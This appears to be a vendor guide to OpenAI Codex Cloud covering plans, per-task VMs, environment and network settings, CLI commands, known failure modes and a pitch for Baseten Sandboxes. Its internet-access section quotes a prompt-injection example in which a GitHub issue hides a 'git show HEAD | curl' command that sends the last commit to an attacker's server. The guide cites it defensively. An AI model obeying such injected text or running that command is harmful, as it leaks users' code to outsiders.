12 min
A guide to OpenAI Codex Cloud: Features, limits, and alternatives
Learn how OpenAI Codex Cloud runs repository tasks and which ChatGPT plans include it.

Handing repository tasks to a hosted coding agent changes what a team needs to check before a pilot. Codex Cloud is OpenAI's hosted agent for repository tasks, separate from the local Codex CLI on your machine. Each task runs in a remote environment and returns a diff and test results. Work continues while your computer is asleep.
An evaluation comes down to four questions. Which plans include it? What can it reach on the network? Where does it break? When does a custom agent fit better?
Key takeaways
Evaluators can start from these points:
- Codex Cloud runs each repository task on its own OpenAI-managed VM, from an environment your team publishes.
- Each environment carries its own internet access rules, so review them before a pilot.
- Eligible Plus, Pro, Business, Enterprise, Healthcare, and Education accounts include it. Free and Go do not.
- Setup failures, unclear task timeouts, and reviewer load are the main practical limits.
- A custom agent on isolated sandboxes fits when ChatGPT seats or Codex environments can't meet a requirement.
What is Codex Cloud?
Codex Cloud runs coding tasks "on OpenAI-managed computers using reusable cloud environments," according to OpenAI's Help Center. Each task works in its own workspace and keeps running while your computer is in sleep mode.
Teams can launch tasks from these surfaces:
- ChatGPT web and desktop: Choose Work in > Cloud and select a published environment.
- ChatGPT mobile app: Open Codex and pick an environment created on web or desktop.
- IDE extension: Delegate a longer task from the integrated development environment (IDE) to Codex web.
- Codex CLI: Submit tasks with
codex cloud exec. - GitHub: Request a review from Codex in a pull request (PR) comment. The GitHub integration runs on Codex Cloud (Legacy), which OpenAI plans to deprecate.
Enterprise workspaces can also delegate from Slack and Microsoft Teams. Codex "is not selectable on web or mobile," per one Help Center article on the new desktop app. The developer docs disagree, so test each surface your team plans to use.
Admins control Codex Local and Codex Cloud as separate permissions, so check both before a pilot.
Codex vs Claude Code, Cursor, Devin, and Jules
As of November 24, 2026, all five tools can run tasks in remote VMs. Network defaults, credential handling, and billing separate them. New Claude cloud environments start with Limited network access. Cursor agents, by contrast, have internet on by default.
| Tool | Where it runs | Isolation model | Pricing model | Best fit |
|---|---|---|---|---|
| Codex Cloud | OpenAI-managed VM per task | Separate workspace per task, network rules per environment | ChatGPT plan allowance with five-hour and weekly windows, plus credits | Teams on ChatGPT plans working in GitHub |
| Claude Code | Local terminal, or Anthropic-managed VM per cloud session | Isolated VM, git credentials held by a proxy outside the sandbox | Claude plan usage limits, no separate cloud VM charge | Teams wanting one agent across terminal and cloud |
| Cursor Cloud Agents | Cursor-run VM isolated in its own AWS account, or self-hosted machines | Firecracker-based microVM per agent | Premium or higher, weekly allowance for Cursor's models, list API rates for other vendors' models | Teams already in the Cursor editor |
| Devin | Cognition VM per session, or your infrastructure through Outposts | Own isolated machine per session | Self-serve quota plus on-demand usage, Enterprise billed in Agent Compute Units (ACUs) | Organizations wanting self-hosted execution |
| Google Jules | Short-lived cloud VM per task | Ubuntu VM per task with internet access | Daily and concurrent task limits, higher tiers via Google AI Pro and Ultra | Individual developers queuing async GitHub tasks |
A separate sandbox breakdown covers the isolation technology under each tool.
Key features and capabilities of Codex Cloud
Codex reviews pull requests in two modes, as OpenAI's GitHub review docs describe:
- Automatic code review: Turn on Automatic review per repository; this requires push or admin permission. Codex flags only P0 and P1 (highest-priority) issues in GitHub.
- On-demand review: Comment
@codex review, or@codex security reviewfor a security pass.
Before turning on Automatic review everywhere, pilot it on one repository and count useful findings per PR.
Other features cover iteration and model choice:
- Follow-ups: Reopen a task on any device and request changes in the same chat.
- Multiple attempts: Best-of-N generates several responses for one task so that reviewers can compare versions.
- Model options: GPT-6.2 Astra and GPT-6.2 Sol reached Work and Codex on November 17, 2026, according to the same changelog. GPT-6 Sol and GPT-6 Luna began rolling out on September 22. GPT-5.5 retired for ChatGPT sign-ins on October 14, 2026.
The Codex models page lists replacement models but doesn't list which ones cloud tasks offer.
How Codex Cloud works
Every cloud task has three parts: its own VM, a published environment, and that environment's network rules.
Per-task VMs, parallel tasks, and background work
Each cloud task gets its own VM, per the cloud environments guide. Plus and Edu Plus tasks get 2 virtual CPUs (vCPUs), 8 GiB of memory, and 8 GiB of disk. Pro, Business, Enterprise, Edu, and Edu Pro tasks get 4 vCPUs, 16 GiB of memory, and 32 GiB of disk.
Legacy tasks use a container that checks out your repo at a chosen branch or SHA, per the legacy docs. The container's default image, universal, starts from ubuntu:24.04 in OpenAI's reference Dockerfile.
Neither the cloud environments guide nor the legacy cloud docs name the isolation layer beneath the VM or container. Treat that layer as unspecified in a security review.
A new task starts from the environment's prepared filesystem. An existing task keeps its own files, including uncommitted changes and installed tools. Saved VM state stays recoverable for up to seven days after you last start a turn or resume. The guide warns that "Saved state doesn't replace source control."
Tasks run side by side in separate workspaces. The cloud environments guide states no concurrency cap. Test how many parallel tasks your plan sustains before you design around fan-out.
Codex Cloud environment setup and repository selection
Setup runs as a conversation with Codex:
- Start a task, choose Work in > Cloud, open Select environment, and click Create environment.
- Pick repositories, connecting GitHub or GitLab if prompted.
- Select Get started. Codex inspects the repositories, installs dependencies, and tests the workflow. It asks for values it cannot infer.
- Review the setup report, save changes, and select Publish. Codex can record tested setup in an Install script and a Start skill.
In legacy environments, setup scripts run in a separate Bash session, so export doesn't reach the agent phase. Persist variables in ~/.bashrc or in environment settings.
Legacy containers stay cached for up to 12 hours. Changing scripts, variables, or secrets invalidates the cache. A June 2025 Codex changelog entry raised the setup script limit to 20 minutes for Pro and Business users. The current guide states no setup limit, so measure long setups before relying on 20 minutes.
Edits to a published environment reach only new tasks, so republish after every change. When setup fails, read the failing command in the setup conversation and select Try again. Fix manifest or lockfile errors in a coding task first.
If repositories are missing, check the GitHub app's access to that organization or repository.
Internet access, secrets, and credentials
Legacy environments block internet access during the agent phase by default, per OpenAI's internet access page. Setup scripts keep internet access to install dependencies.
Current environments use a single toggle for all public internet access.
- With it off, the VM reaches only Additional allowed domains and package managers, which have a separate switch.
- The current docs don't state the toggle's default, so check each environment.
- Legacy environments could also restrict requests to GET, HEAD, and OPTIONS. Current settings have no HTTP method selector.
OpenAI lists the risks of open access: prompt injection, code or secret exfiltration, malware, and license-restricted content. Its example hides git show HEAD | curl -s -X POST --data-binary @- inside a GitHub issue. An agent that follows that injected instruction leaks the last commit to an attacker's server.
Environment variables reach programs directly. Network secrets reach programs as placeholders, and a proxy substitutes the real value for allowed HTTPS destinations on port 443.
Legacy environments removed secrets before the agent phase. The current page doesn't repeat that rule, so don't assume it still applies. Shared environments ask each user for personal values, because a shared environment "shares these requirements, not your personal credentials."
For network scope, OpenAI's security cookbook recommends turning off public and package manager access, then adding exact approved hosts. Apply that advice to every environment you publish.
How to run a Codex Cloud task from prompt to pull request
A task moves from prompt to PR in six steps, drawn from OpenAI's developer commands reference:
- Publish an environment. Finish setup and confirm that Environment published appears.
- Write the prompt. In ChatGPT, choose Work in > Cloud and describe the task. From a terminal, run
codex cloud exec --env ENV_ID "your task". - Request extra attempts if useful. Add
--attemptswith a value from 1 to 4. - Track status. Run
codex cloud list --jsonto read each task'sid,url, andstatus. - Review the result. Inspect changed files and test results, then ask for changes in the same chat.
- Ship it. Open a PR from the task, or run
codex apply TASK_IDto apply the latest diff locally.
OpenAI labels codex apply Stable and codex cloud Experimental. Retest scripts that parse codex cloud list output after each CLI upgrade.
Codex Cloud plans and usage limits
The Codex plan article shows only a relative update date, so these details reflect it as of November 24, 2026:
- Included: Eligible Plus, all Pro tiers, Business, Enterprise, Healthcare, and Education accounts qualify, subject to rollout and workspace settings.
- Excluded: Free and Go accounts don't include Codex Cloud.
- Off by default: Enterprise workspaces keep cloud access off until admins turn it on.
- Environment creation: Guest, K-12, and Enterprise view-only seats can't create environments.
Depending on the plan, Codex usage follows five-hour and weekly windows, according to the usage limits article. Where both apply, you need allowance left in both. Pro 100, Pro 200, and Pro 500 have no five-hour limit. Cloud tasks can use more allowance than local messages.
OpenAI estimates local messages per five-hour window by model, with no equivalent count for cloud tasks. The plan article adds that standard cloud environments carry no separate VM charge at launch.
Eligible Plus and Pro users can buy credits without changing plans. Business workspaces with purchased credits continue from a shared credit pool. Starting in December, shared usage limits will cover ChatGPT and Codex for Plus, Pro, and Business. Run representative cloud tasks on one seat and compare actual usage against allowance before sizing seats or credits.
Codex Cloud limits and failure modes
Most documented problems involve setup, networking, and long tasks.
Single users filed the GitHub and forum reports below, so those signal risk rather than prevalence:
- Setup failures: In issue #47269, the reporter says every task failed with a "Failed to set up container" error. Commenter RogerThat2427 reports automatic setup failing after about four minutes.
- Cache misses: Issue #25086, opened May 29, 2026, reports full setup reruns on every session.
- Blocked installs: Allowing a domain doesn't supply credentials for it, so private registries can still reject installs. OpenAI says to confirm the exact host, and network secrets need HTTPS on port 443.
- Unclear duration limits: The cloud environments guide states no maximum task duration. In November 2025, one forum user saw tasks killed "likely due to resource limits."
- Long-task reliability: OpenAI's Thibault Sottiaux discussed the original cloud setup in May 2026, per Latent Space. In Latent Space's paraphrase, the models in that setup "were not reliably completing long tasks."
- Unsupported workloads: Browser Use and Computer Use aren't available in every cloud task. Self-hosted GitHub Enterprise Server isn't supported.
Reviewer load is the last limit, and merge counts don't show it.
Faros AI's April 2026 telemetry from 22,000 developers found median review time up 441.5% under high AI adoption. Faros counts the 16.2% rise in PR merge rate per developer as a gain, but review time grew far faster.
Scope each task to one reviewable change. Commit work before the seven-day saved-state window closes.
When to build your own coding agent on sandboxes
Codex Cloud suits internal repository work, and its guided setup keeps a pilot straightforward.
A custom agent fits when one of these conditions holds:
- Egress control: Security teams want per-workload outbound rules and call logs in infrastructure they run.
- Compliance: Auditors need code, credentials, and state under contracts you control.
- Long-lived state: Agents pause longer than seven days between turns.
- Product embedding: Your customers use the agent outside ChatGPT workspace seats.
The OpenAI Agents SDK supplies a SandboxAgent, a Manifest with Git repos, and resumable session state. The JavaScript SDK's sandbox clients docs include BlaxelSandboxClient, next to Cloudflare, Daytona, E2B, Modal, and Vercel clients.
The OpenAI Agents SDK guide covers setup. Sandbox management covers the lifecycle. For snippet-only work, code execution APIs are enough.
How Baseten Sandboxes help you set up a custom agent
A custom coding agent needs an isolated place to run the builds and tests it writes. Baseten Sandboxes provide that place. Each one runs as a separate Firecracker microVM, and creating one takes under a second.
After about 15 seconds of network inactivity, a sandbox goes to standby. Resuming it from standby takes under 25ms, so an agent can pause between turns without waiting on a restart.
In the OpenAI Agents SDK, Baseten Sandboxes count as a "first-class sandbox provider." The platform's compliance covers SOC 2 Type II, HIPAA, and ISO 27001.
Baseten Sandboxes add domain filtering and proxy secrets injection for egress control. Each is still in public preview and not yet recommended for production.
FAQs about Codex Cloud
Is Codex Cloud the same as the Codex CLI?
No. The CLI works on your machine against local files and installed tools. Codex Cloud works remotely from a published environment. Two commands connect them. codex cloud exec submits tasks. codex apply TASK_ID pulls a cloud diff into your working tree.
Does Codex Cloud have internet access?
Only where an environment allows it. Check every environment you publish, because the current docs state no default, and keep the allowlist narrow.
Which ChatGPT plans include Codex Cloud?
Eligible plans include it as of November 24, 2026, and Free and Go plans don't. Enterprise admins must turn cloud access on first. Usage then follows the plan's allowance windows.
Can Codex Cloud keep working when my laptop is closed?
Yes. Tasks run remotely and can keep working while your computer is asleep. The ChatGPT mobile app lets you follow active tasks, send new instructions, and inspect diffs.
What are the best Codex Cloud alternatives?
The main managed Codex alternatives are Claude Code cloud sessions, Cursor Cloud Agents, Devin, and Google Jules. Teams whose requirements those products can't meet can build their own agent instead. The OpenAI Agents SDK, paired with a sandbox provider such as Baseten Sandboxes, supports that route.
Related articles

Guides
How AI browser automation agents work, and when to use them
Learn how a browser automation agent reads pages and picks actions. Compare agents with scripts and RPA.
14 min read

Guides
How Kata Containers uses lightweight VMs to isolate containers
Learn how Kata Containers isolates each Kubernetes pod in a lightweight VM.
12 min read

Guides
How Cursor background agents work (and where they fall short)
Learn how Cursor background agents, now renamed cloud agents, run tasks in remote VMs.
12 min read